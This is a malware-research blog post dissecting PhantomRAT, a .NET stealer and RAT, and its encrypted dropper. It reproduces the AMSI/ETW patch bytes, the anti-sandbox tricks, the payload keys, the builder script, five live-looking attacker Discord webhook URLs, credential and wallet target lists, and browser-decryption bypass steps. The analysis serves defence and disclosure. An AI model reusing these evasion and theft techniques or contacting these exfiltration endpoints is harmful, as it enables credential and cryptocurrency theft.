Threat Intelligence Zynia Labs

Another PhantomRAT, But This Time It’s a Previously Undocumented Stealer+RAT

It is common for those of us who work in malware research to have YARA rules continuously monitoring sample feeds in search of new threats, unknown variants, or malware that has not yet been identified. 

Author

oscar

Óscar Gallego Sendín,

Malware Researcher

Another PhantomRAT, But This Time It’s a Previously Undocumented Stealer+RAT

And since the goal is precisely to find what is not yet known, those rules look for traits, rare combinations, things that a normal program does not do, elements that are out of the ordinary.

The price of that is noise. The vast majority of what they return is garbage: poorly packaged installers, commercial protectors and protected games, things that are nothing. It is part of the daily routine to look through these detections in search of something interesting. And that is what I was doing, reviewing the detections, when I came across this sample:

759b6c9c2e7e66b14fb4eb1466fe861f4cc63ec2a511b3f2699daa344226d36f

At first I thought it was more of the same.

The first thing that didn’t add up

The first thing that catches your attention is the size. 58.80 MB, nothing special initially … There are legitimately bloated programs… But something odd given the name the sample presented: rundll32.exe. This is what the version information contained in the file said:

rundll32.exe
Windows Host Process (Rundll32)
Version 10.0.19041.1
Copyright Microsoft Corporation

A file that barely reaches 96 KB with a size of nearly 60 MB? Enough to start paying attention.

The second contradiction came when looking at the structure. Out of the 58.8 MB, barely 138 KB were code. Everything else, the 99.8% of the file, constituted an overlay: an appendix attached after the executable, a zone that Windows does not load into memory when launching it and that many analysis tools do not even look at.

The high level of entropy reveals that there is no text, no recognizable code, no structure inside: there is noise. That is, encryption. Fifty-seven megabytes of something that someone does not want to be read.

And in the import table of the executable, a clue about what it is going to do with that data:

BCryptCloseAlgorithmProvider
BCryptDecrypt
BCryptDestroyKey
BCryptGenerateSymmetricKey
BCryptGetProperty
BCryptOpenAlgorithmProvider
BCryptSetProperty

These are functions from the Windows cryptographic interface itself. Alongside them, the typical ones in this type of sample that give us an idea of how it works:

VirtualAlloc
VirtualProtect
VirtualFree
WriteFile
GetModuleFileNameW
GetTempPathW
CreateMutexW

At this point it seems evident: this is a dropper, a wrapper that decrypts what it carries inside and possibly executes it.

And what does it carry inside? It turned out to be a stealer equipped with all the features that can be put into this type of malware today.

A ratio of 26/67 detections on VirusTotal, a “first seen” date of just a few days ago (2026-07-24 08:43:53 UTC) and 1 single submitter.

Things were getting interesting…

VirusTotal Telemetry
VirusTotal Telemetry

Complete dropper flow

Phase 1: Blinding the defenses

The dropper loads the library “amsi.dll“, locates the function “AmsiScanBuffer” and patches it by writing the following bytes: B8 57 00 07 80 C3

mov eax, 0x80070057 ; HRESULT E_INVALIDARG 

ret 

Windows uses the function “AmsiScanBuffer” to inspect code, such as a PowerShell script, a .NET assembly loaded in memory, etc. The patched function simply returns the result “invalid argument” without performing any scan. This is the most well-known AMSI bypass that exists.

The same operation is performed on the function “EtwEventWrite” from “ntdll.dll“, which is patched with the following bytes: 33 C0 C3 90 90

xor eax, eax ; STATUS_SUCCESS (0) 

ret 

nop 

nop 

This patch disables the telemetry that many EDRs rely on.

Thanks to both patches, the antivirus cannot inspect the code and the EDR does not receive events.

Phase 2: Anti Sandbox

The malware uses “GetTickCount” to calculate the system uptime and compares it with 0x989680 to continue only if the value is greater. This equals 10,000,000 ms (~2.7 hours) and allows it to evade traditional sandboxes that always have a lower uptime.

Another trick it uses consists of locating the function “VirtualAllocExNuma” in the library “kernel32.dll“, which many sandboxes do not intercept. Using this function, a memory block is allocated:

VirtualAllocExNuma( 

    hProcess,               // HANDLE hProcess 

    0,                      // LPVOID lpAddress 

    0x1000,                 // SIZE_T dwSize 

    MEM_COMMIT|MEM_RESERVE, // DWORD  flAllocationType 

    PAGE_READWRITE,         // DWORD  flProtect 

    0                       // DWORD  nndPreferred 

); 

The memory is then freed, having served only to verify the function works and thus detect certain sandboxes.

A third anti-sandbox trick consists of pausing execution for 2500 ms while calculating the time before and after, in order to detect the presence of mechanisms that tamper with time.

Phase 3: Dynamic mutex

The malware uses the function “CoCreateGuid” to generate a mutex with a random name derived from the obtained GUID, which has the following format:

Global\%08X%04X%04X%02X%02X%02X%02X%02X%02X%02X%02X

The mutex is registered using the function “CreateMutexW” and the malware aborts execution if it detects that an instance is already running.

Phase 4: Reading the overlay

The function “GetModuleFileNameW” is used specifying NULL as the module to obtain its own path on disk.

The malware opens its own executable file on disk with “CreateFileW” using read-only permissions (GENERIC_READ).

Once it obtains a valid handle on its own executable, it uses “GetFileSizeEx” to determine the file size (61,658,504 bytes).

The function “SetFilePointerEx” is used to position the read at the beginning of the overlay (offset 0x22A00 = 141,824 bytes).

Using “ReadFile” it reads the overlay header and then uses “SetFilePointerEx” again to move to the encrypted data block (overlay + 0x1E8600 ≈ 1.9 MB).

The malware allocates a memory block with the obtained size and read/write permissions.

VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_READWRITE); 

A call to “ReadFile” reads the encrypted data into the allocated memory (~56.8 MB).

An additional read retrieves a final block present after the encrypted data, which constitutes the key.

Finally the file is closed with CloseHandle.

The overlay has the following structure:

0x000000 Dropper PE | PE32+ x64 native · 7 sections · ImageBase 0x140000000 | 141,824 bytes · 0.23%
0x022A00 ntdll.dll × 4 copies | PE32+ x64 · 10 sections · Authenticode signed | Each copy: 0x1EF7B8 bytes (2,029,496) with certificate included | 8,117,984 bytes · 13.17%
0x7E08E0 ntdll.dll × 1 truncated | Only 128,800 / 2,029,496 bytes · Cut by the encrypted payload | 128,800 bytes · 0.21%
0x800000 Encrypted payload | AES-256-CBC + XOR + LZNT1 | Encrypted: 53,269,776 bytes → Decrypted: 53,269,774 bytes → Decompressed: 56,524,052 bytes | Result: apphost .NET 6 self-contained bundle (256 assemblies) | Contains: Utorrent.dll (PhantomRAT) | 53,269,776 bytes · 86.40%
0x3ACD510 Cryptographic material | 4 blocks: XOR key (32) + AES key (32) + CBC IV (16) + reserved (32) | 112 bytes · <0.01%
0x3ACD580 Trailer
0x3ACD588 Magic 0x9D4F21B7 + encrypted payload size | 8 bytes

Why does it fill part of the overlay with copies of ntdll.dll?

Two probable reasons:

The first, simple size inflation. Many sandboxes (Triage, ANY.RUN on their free plan, Joe Sandbox in basic mode) reject or do not process files above 50–100 MB. With 5 copies of ntdll (~10 MB) plus the encrypted payload (~53 MB), the dropper weighs 61.6 MB, enough to bypass some of those limits. It could have padded with zeros, but that compresses trivially and AV engines detect it as suspicious padding.

A second reason could be entropy and legitimate signature. The copies of ntdll.dll are real PEs signed by Microsoft with valid Authenticode. This achieves two things: the overlay entropy resembles that of legitimate code (not random data or zeros), and any scanner that superficially inspects the overlay finds Microsoft digital signatures, which reduces the suspicion score. A block of zeros or random data in the overlay raises heuristic alerts; Microsoft-signed code does not.

Phase 5: AES-CBC decryption

The cryptographic material present in the overlay of the analyzed sample (offset 0x3ACD510, size 112 bytes) shows the following content:

Block 1 +0x00 32 B 1e000eec 25480425 b09be979 8404a5c5 | 335abf7e f526b907 17d6078d 11276318 | Post-AES XOR key — buf[i] ^= ((i & 0xFF) + block1[i % 32]) & 0xFF
Block 2 +0x20 32 B 969e9384 d8f47735 3eb4a30e 66b85c75 | 61f97eed 479f7e49 68673817 f47800a8 | AES-256 symmetric key
Block 3 +0x40 16 B 60033cb9 2b3d55c7 0ce93688 181f5dd8 | CBC initialization vector (IV)
Block 4 +0x50 32 B 8ac76c01 0214f40a 9d28e8a2 a770bde3 | 3321bd17 3d2f6122 2ba312a1 983ef3d7 | Reserved

Opens the Windows cryptographic provider to use the AES algorithm.

BCryptOpenAlgorithmProvider(&hAlg, "AES", NULL, 0); 

Configures the AES algorithm to operate in CBC mode.

BCryptSetProperty(hAlg, "ChainingMode", "ChainingModeCBC", ...); 

Generates the AES symmetric key from the key embedded in the sample.

BCryptGetProperty(hAlg, "ObjectLength", &objLen, ...); 

BCryptGenerateSymmetricKey(hAlg, &hKey, keyObj, objLen, key, keyLen, 0); 

Once the key has been initialized, the cryptographic provider is released.

BCryptCloseAlgorithmProvider(hAlg, 0) 

Decrypts the encrypted data using the AES key and the initialization vector (IV).

BCryptDecrypt(hKey, ciphertext, cbCipher, NULL, iv, cbIV, plaintext, cbPlain, &cbResult, 0); 

Finally destroys the cryptographic key and closes all references to the cryptographic provider.

BCryptDestroyKey(hKey); 

CryptCloseAlgorithmProvider(...); 

After this process, a decrypted .NET executable of 53.9 MB is obtained, ready to be loaded or executed by the malware.

Phase 6: Decompression

Allocates memory with “VirtualAlloc” to host the decompressed buffer.

Builds the text string “RtlDecompressBuffer” on the stack.

[rbp-0x80] = "RtlD"     (0x446C7452) 

[rbp-0x7C] = "ecom"     (0x6D6F6365) 

[rbp-0x78] = "pres"     (0x73657270) 

[rbp-0x74] = "sBuf"     (0x66754273) 

[rbp-0x70] = "fe"       (0x6566) 

[rbp-0x6E] = "r"        (0x72) 

A call to “GetProcAddress” using this string obtains the address of that function, which is subsequently called to decompress the buffer.

The function “GetEnvironmentVariableW” is used together with the parameter “LOCALAPPDATA” to obtain a final string with the following form:

%LOCALAPPDATA%\Microsoft\Windows\WER\ReportArchive 

The malware proceeds to create this folder using the function “CreateDirectoryW“.

Next, it selects a name from a table of 10 possibilities:

  • svchost
  • dllhost
  • conhost
  • csrss
  • lsass
  • winlogon
  • smss
  • services
  • RuntimeBroker
  • TaskHost

GetTickCount” is used to obtain a 4-digit hexadecimal suffix, resulting in a string with the following form:

"%s_%04X.exe" → for example "services_5113.exe" 

A file is created for that executable using “CreateFileW” with write permissions.

CreateFileW(wer_path + "\services_5113.exe", GENERIC_WRITE, ...); 

In this way the final path takes the following form:

%LOCALAPPDATA%\Microsoft\Windows\WER\ReportArchive\services_5A1F.exe 

If this fails, the malware uses a second residence method. The system temporary folder path is obtained using the function “GetTempPathW” and there the executable is created with the name “RuntimeBrokerService.exe“.

CreateFileW(temp_path + "\RuntimeBrokerService.exe", GENERIC_WRITE, ...); 

Finally it uses “SetFileAttributesW” to mark the file as hidden and system.

Phase 7: Launch and clean up

The malware uses “CreateProcessW” to execute the created file.

It makes a call to “WaitForSingleObject” to wait for the child process to start, using a timeout of 5000 ms.

It closes the open handles on the child process and attempts to delete the file using “DeleteFileW“. This call will fail silently if the process is still running.

Frees memory, handles, and terminates.

Payload

We have seen how the dropper loads several copies of “ntdll.dll” as padding. In addition to this, the decrypted payload, which is 56.5 MB, in turn carries 254 .NET assemblies inside.

Configuration

The Runtime Config (“Utorrent.runtimeconfig.json“) shows the following:

{ 

  "runtimeOptions": { 

    "tfm": "net10.0", 

    "includedFrameworks": [ 

      {"name": "Microsoft.NETCore.App", "version": "10.0.3"}, 

      {"name": "Microsoft.WindowsDesktop.App", "version": "10.0.3"} 

    ], 

    "configProperties": { 

      "System.Diagnostics.Tracing.EventSource.IsSupported": false, 

      "System.Net.Http.EnableActivityPropagation": false, 

      "System.Reflection.Metadata.MetadataUpdater.IsSupported": false, 

      "System.Runtime.Serialization.EnableUnsafeBinaryFormatterSerialization": false 

    } 

  } 

} 

The “tfm” field indicates that the malware was compiled for .NET 10.0, the exact SDK version used by the attacker.

The “includedFrameworks” property indicates the frameworks that are already included within the application itself. It is a mechanism primarily used in self-contained deployments or in scenarios where one framework is part of another.

Additionally, within “configProperties” we find options to disable features that are not needed and that generate telemetry.

  • Disables diagnostic tracing (“EventSource.IsSupported: false“).
  • Disables activity ID propagation in HTTP to hinder traffic correlation (“EnableActivityPropagation: false“).
  • Disables hot reload (“MetadataUpdater.IsSupported: false“).
  • Disables BinaryFormatter (“EnableUnsafeBinaryFormatterSerialization: false“).

Bundle format

The complete format of the bundle, with all its components, is the following:

ComponentSize%
Runtime .NET managed (200 DLLs) 96.9 MB (uncompressed) 85.6%
Localized resources (13 languages) 8.9 MB 7.9%
Utorrent.dll + BouncyCastle.dll 7.3 MB 6.5%
Native stub (apphost) 9.9 MB

Bouncy Castle cryptographic library

We have seen that one of the components included in the bundle is “BouncyCastle.dll“. It is an open-source cryptography library for .NET and Java. It is the most common alternative when .NET native APIs do not cover what you need or you want to avoid using them.

Bouncy Castle cryptographic library
Bouncy Castle cryptographic library

It is legitimate and not malicious in itself, it is like finding OpenSSL inside a binary.

The malware includes version 2.4.0 (7 MB) which, after the runtime itself, constitutes the heaviest DLL in the bundle.

Utorrent, it’s the fake name behind which the main malware hides, which we will now analyze.

PHANTOMRAT

We are looking at a modular stealer and RAT for Windows that exfiltrates credentials, cookies, wallets and files to Discord and Catbox, and includes HVNC, remote desktop, camera access, reverse shell, reverse proxy, clipper and persistence, with evasion via direct syscalls, AMSI/ETW bypass, polymorphism and DNS-over-HTTPS resolution.

8

The name “PHANTOMRAT” comes from some encrypted text strings found inside the sample:

=== PHANTOMRAT DEBUG LOG === 

PhantomRAT --  

PhantomRAT Fallback Exfil 

Phantom_debug.log 

PhantomRATKey2026HiddenStringsXX7 

It is worth noting at this point that naming in malware is, in many cases, chaotic. Each security firm establishes the names it considers appropriate at the time of discovery. This causes all sorts of problems that the industry has been carrying around since forever.

There was a serious attempt to fix this in 1991 with the CARO naming scheme (Computer Antivirus Research Organization), which proposed a standard format. This format was never universally adopted because each vendor had commercial incentives to use their own names.

The situation worsened drastically from 2010 with APT groups: CrowdStrike used animal names (Fancy Bear), Mandiant decided to use numbers (APT28), Microsoft chose weather elements (Forest Blizzard).

In practice, the problem was never resolved, and it is once again what we find here.

In March 2024, the Russian firm FACCT discovered a cyberespionage group that they named PhantomCore precisely after their trojan: PhantomRAT.

The firm Positive Technologies later documented its evolution: the operators rewrote PhantomRAT from C# to Go, accompanied by proprietary tools: PhantomDL, PhantomTaskShell, PhantomProxyLite, RSocx and MeshAgent.

We also have PhantomStealer, which is a .NET STEALER that uses Discord among its channels. Proofpoint documented it as a fork of the open-source project Stealerium, with high overlap. Group-IB observed a sustained phishing campaign between November 2025 and January 2026 targeting logistics, industry and technology in Europe, and Splunk published an analysis in July 2026 of its loaders with PNG steganography.

Our sample makes no mention of Stealerium anywhere, uses different cryptography (ChaCha20-Poly1305 via BouncyCastle versus the AES-CBC/RC4 of that one), incorporates components whose names do not exist in that family (such as “GhostEngine” or “TripleCryptHelper“) and does not reuse its infrastructure.

What we have before us is a proprietary development in .NET 10 (version released in November 2025) that appears to have no public precedents:

  • The strings “TripleCryptHelper” and “PhantomRATKey2026HiddenStringsXX” do not appear in any code repository, forum, intelligence report, or accessible lab result.
  • The hashes return zero results in OSINT searches.
  • The five Discord webhook identifiers are not reported as indicators in any public source.

Finally, it is worth mentioning that the name of the evasion module, “GhostEngine“, also coincides with the name that the firm Elastic Security Labs gave in May 2024 to a cryptocurrency mining campaign. Our sample has no relation to that either; it is another naming coincidence.

We have decided to keep the name that appears in the text strings extracted from the sample itself: PHANTOMRAT.

Attributes

The Assembly Attributes are assembly-level metadata that the C# compiler writes into the “CustomAttribute” table of the ECMA-335. In this case they are completely forged to impersonate a µTorrent component, a BitTorrent client for sharing files through a peer-to-peer network.

AttributeValue
AssemblyCompany BitTorrent Inc.
AssemblyProduct µTorrent Web
AssemblyDescription µTorrent peer-to-peer file sharing background update service
AssemblyCopyright Copyright © BitTorrent Inc. 2006-2026
AssemblyVersion 3.6.0.0
AssemblyFileVersion 3.6.0.47132

Additionally, we find other interesting fields:

  • Version of .NET 10.0, consistent with the Runtime Config (“TargetFramework .NETCoreApp v10.0“).
  • Compiled in Release mode, optimized, without extra debug symbols (“AssemblyConfiguration Release“).
  • It does not carry an embedded PDB file (“DebuggingModes.IgnoreSymbolStoreSequencePoints“).
  • Requires Windows 7 or higher (SupportedOSPlatform Windows7.0).
  • It does not use the CLR safe type verification, which is necessary for the unsafe code it uses (SyscallEngine, ProcessFreezer, etc).

Architecture

The internal architecture of the malware is not that of someone gluing code from forums. It is a well-structured project with separation of responsibilities, organized as follows:

  • Stealer
    • Data theft
      • Chromium
      • Firefox
      • CryptoWallets
      • Passwords
      • TokenGrabber
    • Remote control
      • HVNC
      • RemoteDesktop
      • RemoteCamera
      • RemoteShell
      • ReverseProxy
    • Collectors
      • ClipboardGrabber
      • Clipper
      • CredentialManager
      • ExtensionGrabber
      • ExtraGrabber
      • FileGrabber
      • FTPGrabber
      • SSHGrabber
      • VPNGrabber
      • WiFiGrabber
      • MessengerGrabber
      • SmartWipe
    • Exfiltration
      • DiscordWebhook
      • DohResolver
      • EmbedBuilder
      • EmbedField/Footer
    • Evasion
      • GhostEngine
      • AntiAnalysis
      • AntiDump
      • NtdllUnhooker
      • ApiHasher
      • SyscallEngine
      • PpidSpoofer
      • ProcessFreezer
      • BrowserManager
      • SelfDelete
      • DefenderBypass
      • PolymorphicEngine
      • VSSExtractor
      • StringCryptor
      • StringEncryptor
      • SleepBypass
      • NativeApi
    • Cryptography
      • TripleCryptHelper
    • System
      • Persistence
      • UACBypass
      • SystemInfo
      • Mimicry
      • ProcessManager
      • FileManager
      • Keylogger
      • Logs
      • Program

Encryption

All sensitive information is encrypted within the sample. The class “Stealer.Evasion.StringCryptor” is responsible for managing the encryption without using any standard library. Within this class we find the methods “Encrypt“, “Decrypt“, as well as the keys used Key1 and Key2.

KeyValue
Key1 PhantomRATKey2026HiddenStringsXX
Key2 37 21 45 68 9a bc de f0 12 34 56 78 9a bc de f0 11 22 33 44 55 66 77 88 99 aa bb cc dd ee ff 00 (32 bytes)

This is the pseudocode of the encryption:

  1. XOR with Key1[i mod 32].
  2. Add 0x1F (modulo 256).
  3. Rotate 3 bits to the left.
  4. XOR with Key2[i mod 32].
  5. Encode the result in base64.

During the analysis of the encryption we also found a textbook cryptographic error. The encrypted text strings containing the webhooks all begin with the same 52 characters:

jfjkgasf1RQw1uxRM0ZFKbIQKhd0x0ZUiBvq5eQ3bVLD4t6ziX897... 

Since the algorithm does not use an initialization vector, any given position is always encrypted the same way. We thus discovered that all these strings always begin with the same prefix in the analyzed sample:

https://discord.com/api/webhooks/152760… 

The identifiers of each of the 5 webhooks found are consecutive, beginning with “1527606122” and ending with “1527607015”. They were created on the same Discord server minutes apart, almost certainly just before compiling this version.

Using this method we decrypted the 50 text strings that the malware hides:

C2 / Exfiltration (5 Discord webhooks)
https://discord.com/api/webhooks/1527606122641625112/BOE-xqiCfpvSun_4oP0MSz96iG7FlV16EedDSQXpuuFMkDjy1Nk688mHpRL__btgOvkp
https://discord.com/api/webhooks/1527606851628175522/ShveirHMgyZ_P8xD3GjNIL3fZHRwPpB8fMfP5prn-nbGEufrmofwFll-UvEkoDoL5oV1
https://discord.com/api/webhooks/1527606672724459572/JRv9-gCXhXbDnXq861qhMRKWex-P4_L5fKCELXp1SaXRNdckpq17yz8i-yespv-_LQrU
https://discord.com/api/webhooks/1527607015785103391/s-akbvNoFC_3-UrQh1VwIJ4PQXkiRT9ToiJml_WrimWqKuIx8M0gNIQhzCKprnSKDZLa
https://discord.com/api/webhooks/1527606557188034645/xnCsaM2gjOoIr98V_fmBdzpYLCvg6lEL0A1D5U7iqyYmzD7pw5IMI6-FMUbTNOlQ5j0q
Supported browsers (10)
chrome
brave
chromium
firefox
google-chrome
microsoft-edge
opera
opera-gx
vivaldi
yandex
Chromium credential theft (12)
Login Data
Login Data For Account
Web Data
Cookies
encrypted_key
os_crypt
app_bound_encrypted_key
origin_url
action_url
username_value
password_value
encrypted_value
Firefox credential theft (8)
cookies.sqlite
key4.db
logins.json
places.sqlite
nssPrivate
metaData
moz_cookies
moz_places
Cookie/history fields (12)
ost
name
value
path
expiry
isHttpOnly
isSecure
last_visit_date
visit_count
title
url
password
Persistence (3)
Software\Microsoft\Windows\CurrentVersion\Run
Schedule.Service
schtasks.exe

Additionally, the malware uses a second encryption layer to protect data in transit. The class “TripleCryptHelper” is responsible for this. This encryption chains XOR with a dynamic key, AES-256-CBC and native Windows LZNT1 compression.

A builder included

It is worth highlighting a method found in the “TripleCryptHelper” class analyzed in the previous section: “GenerateBuildBat“.

GenerateBuildBat
GenerateBuildBat

This method generates a compilation script for the initial dropper that we analyzed at the beginning of this article. It reveals the author’s intention to repeat this procedure many times.

The generated script looks like this:

batch 

@echo off 

setlocal enabledelayedexpansion 

 

rem Using %%~dp0 for paths to avoid encoding issues with non-ASCII chars 

set SRC_DIR=%~dp0 

set BUILD_DIR=%~dp0build 

 

set VCVARS= 

if exist "C:\Program Files (x86)\Microsoft Visual Studio\Installer\vswhere.exe" ( 

    for /f "tokens=* usebackq" %%i in (`"C:\Program Files (x86)\Microsoft Visual Studio\Installer\vswhere.exe" -latest -property installationPath`) do set "VCVARS=%%i" 

) 

if defined VCVARS set "VCVARS=!VCVARS!\VC\Auxiliary\Build\vcvarsall.bat" 

if not defined VCVARS ( 

    if exist "C:\Program Files\Microsoft Visual Studio\2022\Professional\VC\Auxiliary\Build\vcvarsall.bat" set "VCVARS=C:\Program Files\Microsoft Visual Studio\2022\Professional\VC\Auxiliary\Build\vcvarsall.bat" 

    if exist "C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\Build\vcvarsall.bat" set "VCVARS=C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\Build\vcvarsall.bat" 

    if exist "C:\Program Files\Microsoft Visual Studio\18\Professional\VC\Auxiliary\Build\vcvarsall.bat" set "VCVARS=C:\Program Files\Microsoft Visual Studio\18\Professional\VC\Auxiliary\Build\vcvarsall.bat" 

) 

if not defined VCVARS ( 

    echo [!] Visual Studio not found. Install VS or edit VCVARS path. 

    exit /b 1 

) 

call "!VCVARS!" x64 

 

if not exist "%BUILD_DIR%" mkdir "%BUILD_DIR%" 

 

echo [CC] main.cpp 

cl.exe /nologo /c /O2 /GS- /GL- /Gy- /Oi- /EHsc /MT "%SRC_DIR%main.cpp" /Fo"%BUILD_DIR%\loader.obj" 

if errorlevel 1 exit /b 1 

 

echo [LINK] {arg1} 

link.exe /nologo /SUBSYSTEM:WINDOWS /LTCG:OFF /OUT:"%BUILD_DIR%\{arg1}" "%BUILD_DIR%\loader.obj" kernel32.lib user32.lib advapi32.lib crypt32.lib bcrypt.lib ole32.lib shell32.lib 

if errorlevel 1 exit /b 1 

 

echo [+] BUILD OK: %BUILD_DIR%\{arg1} 

dir "%BUILD_DIR%\{arg1}" 

exit /b 0 

We observe that the libraries it links against match exactly what we saw in the dropper. We also see the dropper’s source code, a single C++ file called “main.cpp“.

Thus, the RAT is also the builder: It can regenerate new droppers with fresh payloads. The class “TripleCryptHelper” contains everything needed to build the dropper.

MethodWhat it does
GenerateKeys Generates the 4 blocks of cryptographic material
(112 bytes)
CompressLznt1 Compresses with LZNT1
(calls RtlCompressBuffer from ntdll)
XorEncrypt Applies
buf[i] ^= ((i & 0xFF) + xorKey[i % 32])
Aes256CbcEncrypt Encrypts with AES-256-CBC
AddPadding Adds PKCS#7
TripleEncrypt Orchestrates the 3 layers LZNT1 → XOR → AES
AppendOverlay Concatenates the ntdll copies + encrypted payload + key + trailer
GenerateBuildBat Generates the compilation .bat with MSVC

Configuration switches

We find 24 switches for the RAT configuration (booleans and integers) embedded in plain text by the compiler.

SwitchValueFunction
KILL_BROWSERS TRUE Can close browsers to unlock their databases
FREEZE_BROWSERS TRUE Prefers freezing them, which is more discreet
RESTORE_DELAY_MS 3000 Waits 3 s before resuming them
MAX_RESTORE_ATTEMPTS 3 Up to 3 resume attempts
ENABLE_PERSISTENCE TRUE Installs itself to survive reboots
PERSIST_TASK_NAME UtorrentService Scheduled task name
PERSIST_REG_NAME Utorrent Registry run value name
ENABLE_SMART_WIPE TRUE Wipes its traces after exfiltrating
MAX_PASSWORDS_PER_BROWSER 1000 Password cap per browser
MAX_COOKIES_PER_BROWSER 1000 Cookie cap per browser
MAX_HISTORY_PER_BROWSER 500 History entry cap
ENABLE_MIMICRY FALSE Traffic camouflage is off
MIMICRY_DELAY_MIN / MAX 2000 / 8000 No effect: camouflage is off
ENABLE_RANDOM_DELAYS FALSE No random anti-detection delays
ENABLE_TIME_BOMB FALSE No delayed detonation
TIME_BOMB_HOURS 72 No effect: time bomb is disabled
SHOW_FAKE_ERROR FALSE Fake error dialog is not shown
FAKE_ERROR_TITLE uTorrent.exe – System Error Prepared text, inactive
FAKE_ERROR_TEXT The code execution cannot proceed because VCRUNTIME140.dll was not found. Reinstalling the program may fix this problem. Prepared text, inactive

Browser theft

The targets are:

Chromium-based browsers (14)
Chrome
Chrome Beta
Edge
Brave
Opera
Opera GX
Vivaldi
Yandex
Chromium
Arc
DuckDuckGo
Thorium
Ungoogled Chromium
SRWare Iron

Plus Firefox.

For each browser the malware iterates through eight profiles:

Default
Profile 1
Profile 2
Profile 3
Profile 4
Profile 5
System Profile
Guest Profile

And steals the following information:

FileStolen content
Login Data / Login Data For Account Saved usernames and passwords
Cookies / Network Cookies Session cookies allow entering accounts without password and without second factor
Web Data Credit cards: encrypted number, cardholder, expiration month and year
History Complete history with:
url, title, visit_count, last_visit_time`
Local State The master encryption key:
os_crypt → encrypted_key

In the case of Firefox, the malware extracts the passwords from “logins.json” + “key4.db” (NSS decryption), the cookies from “cookies.sqlite” and the history from “places.sqlite“.

And here a distinguishing feature of this STEALER compared to the average: It is capable of bypassing App-Bound Encryption.

App-Bound Encryption (ABE) is a security mechanism introduced by Microsoft on Windows so that certain encrypted data is not only tied to the user, but also to a specific application. Its goal is to make it harder for another process, even running as the same user, to decrypt that data. The main idea is that the encryption no longer depends solely on the user’s identity (as with DPAPI), but also on the identity of the authorized application.

In July 2024, Google introduced that protection in Chrome 127 precisely to stop cookie theft. It binds the secrets to the Chrome executable, so that another process cannot decrypt them even with the file in front of it.

The IL of the `Chromium` module of our sample implements a five-attempt ladder:

  • Direct decryption with “CryptUnprotectData” without supplementation.
  • LSASS process impersonation, borrowing its security token with “ImpersonateLoggedOnUser“.
  • Impersonation of the Chrome process itself, opening it and using its token.
  • User-level DPAPI decryption.

And in the case where all the above fails, the malware keeps an ace up its sleeve: It runs Chrome in invisible mode.

chrome.exe --headless=new --disable-gpu --disable-software-rasterizer --no-sandbox --user-data-dir=" 

Then it waits for the master key to be in memory in clear text and extracts it by scanning the process with “VirtualQueryEx” and “ReadProcessMemory“.

This last method, forcing the browser to decrypt its own secrets to steal them from memory, is the state of the art in cookie theft. VoidStealer was one of the first to apply a comparable technique in late 2025.

And an elegant detail: The browser’s SQLite databases are locked while the browser is running. Most STEALERs kill the browser process to free them, which may alert the user.

PHANTOMRAT is capable of freezing the threads of the browser process, reading those files and resuming its execution afterwards with “–restore-last-session“. The user could only notice a hitch of barely a couple of seconds. This option is configurable in the switches we saw earlier, being able to choose between freezing or killing the browser process.

The following list shows the names of the processes the malware is capable of freezing or killing:

chrome.exe
msedge.exe
brave.exe
opera.exe
opera_gx.exe
vivaldi.exe
browser.exe (Yandex)
thorium.exe
arc.exe
duckduckgo.exe
firefox.exe

Cryptocurrency theft

During this attack phase the malware checks 32 extensions and 15 desktop applications. Then it starts trying file names blindly, in case someone saved a backup with a detectable name.

The 32 extensions are searched across 7 browsers by their Chrome Web Store identifier:

MetaMask
Phantom
Rabby
Coinbase Wallet
TronLink
Trust Wallet
Ronin
Exodus
Bitget
Solflare
Polkadot{.js}
Kucoin
Klever
Tokenary
Gate.io
Harmony
Rainbow
imToken
Huobi
Xdefi
Crypto.com
Avalanche
TokenPocket
Guarda
Argent
BitPay

And in that same list we also find the password managers Bitwarden, 1Password and LastPass, plus the Authenticator second-factor extension.

For each one, the malware empties 9 distinct storage locations:

Local Storage
Local Storage \ Leveldb
Cache
Databases
IndexedDB
Service Worker
Session Storage
Shared Storage
WebStorage

On top of that, there are 15 desktop wallets:

Electrum
Exodus
Atomic
Jaxx
Ethereum
Binance
Coinomi
Ledger Live
Armory
Monero
Dogecoin
Litecoin
Dash
Zcash
Xdefi

From their different directories the malware captures files with the following extensions:

.dat
.log
.txt
.json
.conf
.wallet
.sqlite

The backup file search consists of building names with “metamask” or “trust-wallet” followed by the following extensions:

.json
.dat
.enc
.key
.seed
.mnemonic
.private
.public
.address
.wallet
.db
.sqlite
.sqlite3
.ldb

Combinations of these names with the string “-backup” are also performed.

Clipboard theft

A dedicated execution thread monitors the Windows clipboard. When it detects that the user has copied a cryptocurrency address, it replaces it with the attacker’s. This check is performed through 5 regular expressions:

CryptoPatternReplacement address
Bitcoin ^(bc1|\[13])\[a-zA-HJ-NP-Z0-9]{25,62}$ 1BvBMSEYstWetqTFn5Au4m4GFg7xJaNVN2
Ethereum ^0x\[0-9a-fA-F]{40}$ 0x0000000000000000000000000000000000000000
Tron ^T\[1-9A-HJ-NP-Za-km-z]{33}$ TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t
Solana ^\[1-9A-HJ-NP-Za-km-z]{32,44}$ 11111111111111111111111111111111
Litecoin ^L\[a-km-zA-HJ-NP-Z1-9]{26,33}$ (empty in this sample)

The first address, “1BvBMSEYstWetqTFn5Au4m4GFg7xJaNVN2“, is the canonical example address from the Bitcoin documentation. It appears in every manual in the world as an illustration of the P2PKH format. The second is the Ethereum zero address. The third is the USDT contract on Tron. The fourth is the Solana “system program”. They are placeholders. All four. Another indicator that this sample is not fully configured and could be something that has not yet hit the streets?

Session, credential and file theft

Within this section we find various targets.

  • Discord: Theft of Discord tokens in its 6 variants: Discord, PTB, Canary, Development, Lightcord, Vencord.

And from 9 browser storage paths. It searches for both unencrypted and DPAPI-encrypted ones.

(mfa\\.\[a-zA-Z0-9\_-]{84}|\[a-zA-Z0-9\_-]{24,29}\\.\[a-zA-Z0-9\_-]{6}\\.\[a-zA-Z0-9\_-]{27,39})
dQw4w9WgXcQ:\[^”\\s]+

t then validates them against “https://discord.com/api/v9/users/@me” and records the user, phone, email, whether they have second factor and the type of Nitro suscription.

  • Telegram: Theft of the complete “%APPDATA%\Telegram Desktop\tdata” folder, which is equivalent to the active session.
  • Steam: Theft of “config.vdf“, “loginusers.vdf“, “loginusers\_roaming.vdf” and the sentinel files “ssfn\*“.
  • WhatsApp / Element: Session data from the desktop applications (“Packages\*WhatsApp\*\LocalState“).
